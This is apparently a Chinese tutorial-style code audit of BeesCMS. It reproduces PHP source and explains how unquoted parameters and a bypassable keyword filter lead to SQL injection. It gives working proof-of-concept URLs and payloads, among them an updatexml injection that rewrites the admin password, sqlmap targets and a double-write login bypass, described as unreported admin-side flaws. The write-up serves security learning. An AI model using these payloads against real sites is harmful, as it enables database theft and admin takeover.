前言
大概几个月前想把自己电脑恢复一下出厂设置,然后在电脑上看看有什么需要备份的,忽然看到这个最初学习代码审计的时候下载的cms,想了想当初好像也就随便看了下,所以这次想完整的把该cms审计一遍,然而想法虽好,在我通读了一些该cms的代码后,发现还是工作量太大,所以我改为通过工具自动审计,然后人工判断,然后在看来大概60条语句后,发现审计欲望已经消失了,然后就一直搁置住了,最近看到当初记录的漏洞点,所以总结一下,看看能不能给新手入门代码审计带来一点帮助。文中有几处后台的sql注入点,网上应该是没有记录的,算个小0day吧,自己也懒的写报告提交到漏洞平台,师傅们可以提交到CNVD平台换点原创积分。
CMS下载地址
https://github.com/itfooter/beescms
安装
利用phpstudy的集成环境,把cms放在www目录下,访问install目录根据提示进行安装即可
审计过程
首先,审计一个cms需要对代码做一个简单的通读,简单通读后我们就可以了解到该cms是否采用一些全局的防护措施,这样后续代码审计我们就采用相对应的绕过思路。首先来看看index.php这个文件。
<?php /** * $Author: BEESCMS $ * ============================================================================ * 网站地址: http://www.beescms.com * 您只能在不用于商业目的的前提下对程序代码进行修改和使用; * 不允许对程序代码以任何形式任何目的的再发布。 * ============================================================================ */ //if(!file_exists("data/install.lock")||!file_exists("data/confing.php")){header("location:install/index.php");exit();} define('CMS',true); require_once('includes/init.php'); require_once('includes/fun.php'); require_once('includes/lib.php'); if(file_exists(DATA_PATH.'index_info.php')){include(DATA_PATH.'index_info.php');}//首页配置缓存 $lang=isset($_GET['lang'])?$_GET['lang']:''; $index_lang='';//默认首页语言 if(!empty($lang_cache)){ foreach($lang_cache as $k=>$v){ if($_index['index_lang']==$v['id']){ $index_lang = $v['lang_tag']; } } } //语言是否使用 if(!empty($lang)){ $is_lang_use=0; if(!empty($lang_cache)){ foreach($lang_cache as $k=>$v){ if(($lang==$v['lang_tag'])&&!empty($v['lang_is_use'])){ $is_lang_use=1;//已经使用 } } } if(empty($is_lang_use)){ $lang = $index_lang; } } if(($lang == $index_lang)&&empty($_index['flash_is'])){ header("HTTP/1.1 301 Moved Permanently"); header("Location: index.php"); } //开启flash if(!empty($_index['flash_is'])&&empty($lang)){ $lang = $index_lang; $fl_file=(IS_MB)?CMS_PATH.'template/flash_phone.html':CMS_PATH.'template/flash.html'; if(!$fl_file){die($language['msg_info']);} if(file_exists(LANG_PATH.'lang_'.$lang.'.php')){include(LANG_PATH.'lang_'.$lang.'.php');}//语言包缓存,数组$language if(file_exists(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php')){include(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php');}//当前语言下的栏目 //默认首页语言网站配置 $_confing=get_confing($lang); $tpl->template_dir=TP_PATH.'/'; $tpl->template_lang=$lang; if($_confing['is_cache']){ $tpl->template_is_cache=1;//缓存 $tpl->template_time=$_confing['cache_time']?$_confing['cache_time']:30;//开启缓存但不存在缓存时间使用30秒 }else{ $tpl->template_is_cache=0; } $tpl->display('flash'); //关闭flash引导页 }else{ //载入语言页 $lang = empty($lang)?$index_lang:$lang; if(!empty($lang_cache)){ foreach($lang_cache as $l_k=>$l_v){ if($l_v['lang_tag']==$lang){ $lang_name=$l_v['lang_name']; break; } } } if(file_exists(LANG_PATH.'lang_'.$lang.'.php')){include(LANG_PATH.'lang_'.$lang.'.php');}//语言包缓存,数组$language if(file_exists(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php')){include(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php');}//当前语言下的栏目 //网站配置文件 $_confing=get_confing($lang); $index_focus="focus"; //获取第一个关键词作为相关内容调用 $key_arr = empty($_confing['web_keywords'])?'':explode(',',$_confing['web_keywords']); $relave_key = $key_arr[0]; //指向首页 $tpl->template_dir=(IS_MB)?TP_PATH.$_confing['phone_template'].'/':TP_PATH.$_confing['web_template'].'/'; $tpl->template_lang=$lang; if($_confing['is_cache']){ $tpl->template_is_cache=1;//缓存 $tpl->template_time=$_confing['cache_time']?$_confing['cache_time']:30;//开启缓存但不存在缓存时间使用30秒 }else{ $tpl->template_is_cache=0; } $tpl->display('index'); } ?>
可以看到这里包含了三个文件
而这三个文件中的fun.php是一些自己定义的函数,其中就就包含一些防注入的函数,而这个函数很有可能就是全局防护中所使用到的函数。
知道该cms采用了什么的全局防护,接下来我们就可以利用Seay审计工具做一个全局的自动审计了。
不过建议时间充裕的情况下还是自己做一个全局的代码通读,这样对自己代码审计能力的提升也相对较大。本文只是对前60条语句做了个简单的判断,有兴趣的师傅可以自己再去做一个深入的审计。
两类不同错误导致SQL注入
第一类错误---未使用单引号包裹导致sql注入
第一处后台admin目录下的admin_ajax.php文件
<?php /** * $Author: BEESCMS $ * ============================================================================ * 网站地址: http://www.beescms.com * 您只能在不用于商业目的的前提下对程序代码进行修改和使用; * 不允许对程序代码以任何形式任何目的的再发布。 * ============================================================================ */ define('IN_CMS','true'); include('init.php'); $action=empty($_REQUEST['action'])?'action':$_REQUEST['action']; $lang = $_REQUEST['lang']; $value=$_REQUEST['value']; if($action=='lang_tag'){ if(check_str($value,'/[^0-9a-z_]+/')||empty($value)){ echo "<span class='err'>只能使用小写字母或数字</span>"; exit; } $sql="select id from ".DB_PRE."lang where lang_tag='".$value."'"; $num=$GLOBALS['mysql']->fetch_rows($sql); $str=(empty($num))?"<span class='ld_ok'>{$value}可以使用</span>":"<span class='err'>{$value}已经存在,请更换</span>"; die($str); } //排序 elseif($action=='order'){ $table=$_REQUEST['table']; $field = $_REQUEST['field']; $id = intval($_REQUEST['id']); $sql="update ".DB_PRE."{$table} set {$field}=".intval($value)." where id={$id}"; echo $sql; $GLOBALS['mysql']->query($sql); //更新缓存 if($table=="lang"){ $sql="select*from ".DB_PRE."{$table} order by {$field} desc"; $rel=$GLOBALS['mysql']->fetch_asc($sql); $cache_file=DATA_PATH.'cache/lang_cache.php'; $str="<?php\n\$lang_cache=".var_export($rel,true).";\n?>"; }elseif($table=="channel"){ $sql="select*from ".DB_PRE."{$table} order by {$field} desc"; $rel=$GLOBALS['mysql']->fetch_asc($sql); $cache_file=DATA_PATH.'cache_channel/cache_channel_all.php'; $str="<?php\n\$channel=".var_export($rel,true).";\n?>"; } creat_inc($cache_file,$str); } //判断频道标示 elseif($action=='check_channel'){ if(check_str($value,'/[^0-9a-z_]+/')||empty($value)){ echo "<span class='err'>只能使用小写字母或数字</span>"; exit; } $sql="select id from ".DB_PRE."channel where channel_mark='{$value}'"; $num=$GLOBALS['mysql']->fetch_rows($sql); $str=(empty($num))?"<span class='ld_ok'>{$value}可以使用</span>":"<span class='err'>{$value}已经存在,请更换</span>"; die($str); } elseif($action=='check_table'){ if(check_str($value,'/[^0-9a-z_]+/')||empty($value)){ die("<span class='err'>只能使用小写字母或数字</span>"); exit; } $sql="show tables"; $tables=$GLOBALS['mysql']->show_tables(); $table=DB_PRE.$value; if(in_array($table,$tables)){ $num=1; } $str=(empty($num))?"<span class='ld_ok'>{$value}可以使用</span>":"<span class='err'>{$value}已经存在,请更换</span>"; die($str); } //开启关闭 elseif($action=='is_show'){ if(!check_purview('pannel_edit')||!check_purview('form_edit')){return false;} $id = intval($_REQUEST['id']); $table = $_REQUEST['table']; $field = $_REQUEST['field']; $order = $_REQUEST['order']; $value=empty($value)?1:0; $sql="update ".DB_PRE."{$table} set {$field}=".intval($value)." where id={$id}"; $GLOBALS['mysql']->query($sql); //更新缓存 if($table=="channel"){ $sql="select*from ".DB_PRE."{$table} order by {$order} desc"; $rel=$GLOBALS['mysql']->fetch_asc($sql); $cache_file=DATA_PATH.'cache_channel/cache_channel_all.php'; $str="<?php\n\$channel=".var_export($rel,true).";\n?>"; creat_inc($cache_file,$str); }elseif($table=='form'){ $form_file=DATA_PATH.'cache_form/form.php'; $rel=$GLOBALS['mysql']->fetch_asc("select*from ".DB_PRE."form order by id desc"); $cache_str="<?php\n\$form=".var_export($rel,true).";\n?>"; cache_write($form_file,$cache_str); } if(empty($value)){ $class="qi_yes"; $title="开启"; }else{ $class="qi_no"; $title="关闭"; } $data="<span onclick=\"click_show(this,'{$value}','{$id}','channel','is_disable','{$lang}','channel_order');\" class=\"{$class}\" title=\"{$title}\"> </span>"; die($data); } //删除图片 elseif($action=='del_pic'){ $file=CMS_PATH.'upload/'.$value; @unlink($file); die("图片成功删除"); } //修改图片alt elseif($action=='change_pic_alt'){ $id= intval($_REQUEST['id']); $val = $_REQUEST['val']; if(empty($id)){die(0);} $val_sql=empty($val)?"pic_alt=''":"pic_alt='".$val."'"; $sql="update ".DB_PRE."uppics set ".$val_sql." where id=".$id; $mysql->query($sql); die($id); } //其它操作 else{ die('没有参数'); } echo PW; ?>
首先看到11-15行代码
这里包含了一个init.php文件,然后下面是用$_REQUEST的方法接收的参数,那我们跟进init.php文件,看看init.php文件是怎么写的。
其中大多是一些初始化和一些常量,箭头所指可以看到又包含了INC_PATH常量下的fun.php文件,而下面调用了addsl这个函数,这里的INC_PATH常量是includes这个目录,我们可以更具之前简单的代码通读了解到或者直接echo一下,那我们再去看看fun.php这个函数。
在includes目录下找到fun.php可以看到正是我们之前简单通读index.php所了解到的防注入函数。了解到代码使用了什么防护手段,我们再来看看漏洞产生的地方。
在admin_ajax.php文件的第27-46行
可以知道我们自定义的fun.php里面的adds1是调用addslashes这个函数。addslashes函数会对我们用户输入的单引号转义,但是此处利用$_REQUEST接收过来的field参数在写入$sql变量的时候并为被单引号包裹,这里是一个update语句,所以我们可以构造如下poc绕过。
http://192.168.178.1/beescms/admin/admin_ajax.php?action=order&table=admin&field=admin_password=123456%20or%20updatexml(1,concat(0x23,database()),1)%20where%20id=193--+
同类未被单引号包裹问题还存在如下多出地方
admin目录下的admin_book.php文件的88-104行
sqlmap构造如下poc
http://192.168.178.1/beescms/admin/admin_book.php?action=del&lang=cn&id=1*&nav=main&admin_p_nav=main_info
sqlmap结果
插一嘴,像这几个注入点都是update、delete这种对义务比较铭感的语句,大家在正常业务的洞的时候,上sqlmap是会给业务数据带来巨大伤害的,这里是本地搭建的环境,所以sqlmap随便乱跑。
admin目录下的admin_catagory.php文件的150-165行
跟踪一下$parent参数
在admin_catagory.php文件的第16行
还是无其他特殊处理
构造poc如下
http://192.168.178.1/beescms/admin/admin_catagory.php/beescms/admin/admin_catagory.php?action=child&parent=4'&channel_id=2&lang=cn&nav=main&admin_p_nav=main_info
因为好早之前审计的,没有保存截图,所以这里就只简单证明下漏洞存在,不再一一上sqlmap了。
admin目录下的admin_channel.php文件的210-238行
跟踪$cate_id参数在第143行代码处
构造poc如下
http://192.168.178.1/beescms/admin/admin_channel.php?action=del_channel&step=3&id=-9&cate_id=1%27&nav=main&admin_p_nav=main_info%20%20%20%20%20%20#sql%E6%B3%A8%E5%85%A5
上述的sql注入问题都是未被单引号包裹导致的addslashes函数被绕过,接下来就是另外一类问题导致的sql注入。
第二类错误---错误使用防注入函数导致sql注入问题
该注入点在admin目录下的login.php文件
如下是login.php文件代码
<?php /** * $Author: BEESCMS $ * ============================================================================ * 网站地址: http://www.beescms.com * 您只能在不用于商业目的的前提下对程序代码进行修改和使用; * 不允许对程序代码以任何形式任何目的的再发布。 * ============================================================================ */ @ini_set('session.use_trans_sid', 0); @ini_set('session.auto_start', 0); @ini_set('session.use_cookies', 1); error_reporting(E_ALL & ~E_NOTICE); $dir_name=str_replace('\\','/',dirname(__FILE__)); $admindir=substr($dir_name,strrpos($dir_name,'/')+1); define('CMS_PATH',str_replace($admindir,'',$dir_name)); define('INC_PATH',CMS_PATH.'includes/'); define('DATA_PATH',CMS_PATH.'data/'); include(INC_PATH.'fun.php'); include(DATA_PATH.'confing.php'); include(INC_PATH.'mysql.class.php'); if(file_exists(DATA_PATH.'sys_info.php')){ include(DATA_PATH.'sys_info.php'); } @header("Content-type: text/html; charset=utf-8"); $mysql=new mysql(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME,DB_CHARSET,DB_PCONNECT); session_start(); $s_code=empty($_SESSION['code'])?'':$_SESSION['code']; $_SESSION['login_in']=empty($_SESSION['login_in'])?'':$_SESSION['login_in']; $_SESSION['admin']=empty($_SESSION['admin'])?'':$_SESSION['admin']; if($_SESSION['login_in']&&$_SESSION['admin']){header("location:admin.php");} $action=empty($_GET['action'])?'login':$_GET['action']; if($action=='login'){ global $_sys; include('template/admin_login.php'); } //判断登录 elseif($action=='ck_login'){ global $submit,$user,$password,$_sys,$code; $submit=$_POST['submit']; $user=fl_html(fl_value($_POST['user'])); $password=fl_html(fl_value($_POST['password'])); $code=$_POST['code']; if(!isset($submit)){ msg('请从登陆页面进入'); } if(empty($user)||empty($password)){ msg("密码或用户名不能为空"); } if(!empty($_sys['safe_open'])){ foreach($_sys['safe_open'] as $k=>$v){ if($v=='3'){ if($code!=$s_code){msg("验证码不正确!");} } } } check_login($user,$password); } elseif($action=='out'){ login_out(); } ?>
可以发现login.php文件中未包含init.php文件,所以未引用adsl函数来防注入,但是在登录处的地方做了如下处理。
43-44行
调用了fl_value函数,然后再调用了fl_html函数,跟一下这两个函数,来到fun.php文件,如下。
function fl_value($str){ if(empty($str)){return;} return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file |outfile/i','',$str); } define('INC_BEES','B'.'EE'.'SCMS'); function fl_html($str){ return htmlspecialchars($str); }
可以看到fl_value函数过滤了一些sql注入的关键字,fl_html调用了htmlspecialchars函数。然后我们再看看在哪里判断登录了。
第59行
跟一下check_login这个函数,在fun.php中
这里可以看到存在一个判断用户是否存在,可以看到这里的$user参数虽然被单引号包裹住了,但是我们回想一下之前的防注入的函数,利用preg_replace过滤了一些关键字如下
/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
而preg_replace这个函数也是非常危险的,我们可以利用一些双写的操作进行绕过,然后是htmlspecialchars函数,但是htmlspecialchars函数的作用我们可以看看
它并不会对单引号做出过滤,所以我们还是可以自行输入单引号来闭合语句
所以我们在用户名处构造如下poc
admin' a and nd updatexml(1,concat(0x7e,database(),0x7e),1)#
这些如是一些sql注入上的漏洞,当然这个cms还存在许多其他问题,下在再一起写写。